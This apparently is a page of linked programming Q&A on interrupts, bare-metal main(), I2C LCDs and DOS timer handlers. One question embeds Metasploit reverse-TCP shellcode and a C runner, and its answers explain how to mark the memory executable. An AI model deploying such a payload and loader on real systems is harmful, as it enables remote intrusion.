Im following James Molloy`s guide to create small OS and now i stuck on interrupt. I dont really understand how to call my interrupt handlers instead of this command:
asm volatile("int $0x21");
Main file
#include "monitor.h"
#include "multiboot.h"
#include "descriptor_tables.h"
#include "timer.h"
#include "paging.h"
#include "simple.h"
int main(struct multiboot *mboot_ptr){
// Initialise all the ISRs and segmentation
init_descriptor_tables();
// Initialise the screen (by clearing it)
monitor_clear();
monitor_write("Hello, paging world!\n");
init_simple();
asm volatile("int $0x21");
return 0;
}
Where 0x21 is an interrupt`s number in vector.Is there a method to make a interrupt using a c command?
For example i want use this commands:
char c; // for interrupt created and handler allocate memory for char/int etc.
char c = 'a'; // allocate + assing
c; // get value
c = 'b'; // assing new value
Is there any possible way to do it?
Interrupts are generated by the CPU itself.
While C is commonly used to write the interrupt handlers in the kernel, there is no unique facility (or machine model) dictating their creation using it.
Related
In this code I have not used while(1), only when it enters 'if' condition it calls TIMER_ISR function which has been initialised for every 250ms. But when it enters else condition there is no any timer function or anything but then also why it is running continuously.
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "mcc_generated_files/mcc.h"
#include "mcc_generated_files/eusart1.h"
void main(void)
{
SYSTEM_Initialize();
INTERRUPT_GlobalInterruptEnable();
INTERRUPT_PeripheralInterruptEnable();
char temp1[] = "ok";
char temp2[3] = { '\0', '\0', '\0' };
char temp3[3], temp4[3];
int i, j;
for (i = 0; temp1[i] != '\0'; i++)
{
temp3[i] = temp1[i] - 32;
EUSART1_Write(temp3[i]);
}
EUSART1_String("\r\n");
for (i = 0; i < 2; i++)
{
temp2[i] = EUSART1_Read();
EUSART1_Write(temp2[i]);
}
EUSART1_String("\r\n");
if (strcmp(temp1, temp2) == 0)
{
for (i = 0; temp1[i] != '\0'; i++)
{
if (temp1[i] >= 'a' && temp1[i] <= 'z')
{
temp1[i] = temp1[i] - 32;
}
}
for (j = 0; temp1[j]; j++)
EUSART1_Write(temp1[j]);
//Timer initialization (timer is initialized for every 250mS)
TMR0_Initialize();
}
else
EUSART1_String("\r\nERROR GIVE'ok'");
}
In case the question is: does it make sense to return from main() on a bare metal MCU application, then TL;DR: No it doesn't make sense because there is nobody to return to. No OS to hold your hand - your application is all there is.
Detailed explanation:
All modern MCUs have a point of entry called "reset interrupt". Where you can end up when you get a power-on, or perhaps after a watchdog circuit has reset the MCU, or because you have an external /reset signal on the MCU reset pin.
The program counter then starts the program by entering the interrupt service routine for power-on reset (sometimes called reset vector). From here on, the most basic stuff on the MCU are set, then typically it will call a "C run-time" (CRT), which is compiler-specific start-up code for the purpose of initializing all memory regions to enable a standard C environment, such as initializing variables etc. When the CRT is done with all that, it calls main().
Or in case you wrote everything in assembler, you wouldn't have to bother with the CRT but can call whatever function you like from the reset ISR. Often this is done with a direct jump instead of a function call, without stacking any parameters, because you don't expect to ever return. You'd only waste stack space needlessly.
That's why the most common form of main() in embedded systems is void main (void), rather than the strictly C conforming int main (void) - the latter may waste space on the stack needlessly due to calling convention. (On the gcc compiler, always pick embedded "freestanding" systems as your target with -ffreestanding.)
Now if you wrote the program in C and were to return from main(), you will at best crash back out into the CRT code, where if you are lucky, some kind person wrote a for(;;){} loop there to catch the program counter. This is common with rookie-friendly environments. Alternatively you could crash all the way back out to the power-on reset ISR.
Or more likely, in case main() was called the assembler way described above (either from the CRT or from your custom code) you jump straight into the unknown since no return address was saved.
From there, the program counter will run out in random memory locations, starting to execute whatever it comes across next in the memory it ends up, interpreting the contents of those cells as OP codes, whether they are that or not - you get "runaway code", which is a severe and dangerous bug condition. It will keep doing this either until it stumbles upon something that causes a hardware exception, like accessing protected memory, or until the watchdog resets everything, in case the watchdog is enabled.
I'm attempting to write to an LCD (LCD1602 Display Screen) using a PCF8574 IO Expansion Board. I've used some example code I found, but although it does flash the background light (so I know it is communicating with the LCD) it doesn't print numbers.
I don't want to use the WiringPI library because it is no longer supported and I want to use the BCM2835 libraries. Anyone know how I can write characters to the LCD? I thought I only needed to send the ascii codes?
#include <bcm2835.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1];
char wbuf[] = "Hello World!";
if (!bcm2835_init())return 1;
bcm2835_i2c_begin(); //Start I2C operations.
bcm2835_i2c_setSlaveAddress(0x27); //I2C address
bcm2835_i2c_set_baudrate(10000); //1M baudrate
buf[0] = 0xEF; //LED ON
bcm2835_i2c_write(buf,1);
int ln = strlen(wbuf);
for (int i=0; i< ln; i++)
{
buf[0] = wbuf[i];
bcm2835_i2c_write(buf,1);
bcm2835_delay(5);
}
bcm2835_i2c_end();
bcm2835_close();
return 0;
}
Rather than doing all the work directly through bcm2835 I discovered a library for speaking to an lcd screen via i2c.
https://github.com/albertherd/LCD1602
If you did want to do this solely through bcm2835 then it looks like you just need to do some file IO operations for the I2C controller on the PI. (easier to use the library)
I am currently having trouble getting interrupt handlers to work in C. The idea with my code is to set a vector to IRQ 0, which is the PIT, and from what I can find is interrupt 8 (0x08), after setting the PIT to operate on about 40hz (which from what I can find this is by setting a value of 29829, or 0x7485.
The final intended result of the program is to count to a second, print something to screen, and then repeat that 20 times, at which point it uninstalls itself.
This program was compiled using Borland's Turbo C on an Am486-DX4-100 running at 120mhz with IBM's PC-DOS 2000. The board is the Socket 3 EXP-4045 by DataExpert, but I have the same results on DOSBox.
Here is the code:
#include <dos.h>
#include <stdio.h>
int a = 0;
int b = 0;
void interrupt clocktick(){
if(a == 40){
if(b == 20){
setvect(8, NULL);
}else b++;
}else a++;
}
int main(void){
/* set PIT mode*/
outp(0x34, 0x43);
outp(0x85,0x40); /* send low byte*/
outp(0x74,0x40); /* send high byte*/
setvect(0x08, clocktick);
while(1==1){
printf("a%i, b%i", a, b);
}
getchar();
return 0;
}
The code compiles fine, and when ran, the while look does show that A has been incremented once, but doesn't fire again. Obviously something is generating an interrupt, and it may even be the PIT, but it's not doing it more than once.
I am trying to follow the 1987 user's manual for Turbo C, which tries to describe the method for installing interrupt vectors, but I've obviously done something wrong.
I also need to say I am sorry for not knowing this stuff. I don't mean to waste people's time, but I am in genuine need of a helping hand. My examples were vauge, and after some comments I do see there is stuff I could have done to try to figure out what was going on.
You'd need to tell the PIC that you've finished handling the interrupt, otherwise it won't signal it again. Typically this is done by sending an EOI (0x20) to the PIC base port (0x20), so it would essentially be something like outportb(0x20, 0x20);, preferably near the end of your handler.
There's some information about the PIC at e.g. https://wiki.osdev.org/8259_PIC
I recently get interested in Metasploit, and I was trying to execute some shellcode from C code.
So i've generated with msfvenom a shellcode for LHOST = 127.0.0.1 and LPORT = 714 (so if you want to run the shellcode, no problem because localhost) and selected C format for output.
Then I found this : http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/
and this : http://www.sevagas.com/?Hide-meterpreter-shellcode-in-executable
So what I did :
#include <stdio.h>
char code[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\x7f\x00\x00\x01\x68\x02"
"\x00\x02\xca\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
int main(int argc, char **argv) {
int(*func) ();
func = (int(*) ()) code;
(int)(*func) ();
}
Compiled it, launched it.. And crash....
Exception non gérée à 0x00338000 dans Shellcode.exe : 0xC0000005 :
Violation d'accès lors de l'exécution à l'emplacement 0x00338000.
The crash is happening here : (int)(*func) ();
As I don't really understand what's the program is trying to do (I'm quite new to C), I don't know from where is the problem.. Is it my shellcode or is it the way it is called ?
And does someone has some documentation about executing shellcode in C/C++ ?
Thanks all for your help.
You are getting segmentation fault because the memory is not marked as executable.
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
void *buf;
/* copy code to executable buffer */
buf = mmap (0,sizeof(code),PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANON,-1,0);
memcpy (buf, code, sizeof(code));
/* run code */
int i = ((int (*) (void))buf)();
printf("Return value [%d]\n", i);
The bytes represent machine instructions. On ordinary machines, the memory is broken in different memory segments, and code will typically goes in a data segment. The call:
int(*func) ();
func = (int(*) ()) code;
(int)(*func) ();
tries to execute the code contained in these bytes.
However, modern operating systems provide usually by default a protection against executing code located in memory segments not designed for code execution (see here for example). You have to configure your compiler to disable it.
I want to take a piece of code, copy it into a global array and execute it from there.
In other words, I am trying to to copy a bunch of instructions from the code-section into the data-section, and then set the program-counter to continue the execution of the program from the data-section.
Here is my code:
#include <stdio.h>
#include <string.h>
typedef void(*func)();
static void code_section_func()
{
printf("hello");
}
#define CODE_SIZE 73
// I verified this size in the disassembly of 'code_section_func'
static long long data[(CODE_SIZE-1)/sizeof(long long)+1];
// I am using 'long long' in order to obtain the maximum alignment
int main()
{
func data_section_func = (func)data;
memcpy((void*)data_section_func,(void*)code_section_func,CODE_SIZE);
data_section_func();
return 0;
}
I might have been naive thinking it could work, so I'd be happy to get an explanation why it didn't.
For example, after a program is loaded into memory, does the MMU restrict instruction-fetching to a specific area within the memory address space of the process (i.e., the code-section of the program)?
For the protocol, I have tested this with VS2013 compiler over a 64-bit OS and an x64-based processor.
Thanks
Windows (and many other modern OSes) by default sets the data section as read/write/no-execute, so attempting to "call" a data object will fail.
Instead, you should VirtualAlloc a chunk of memory with the PAGE_EXECUTE_READWRITE protection. Note, it may be necessary to use FlushInstructionCache to ensure the newly-copied code is executed.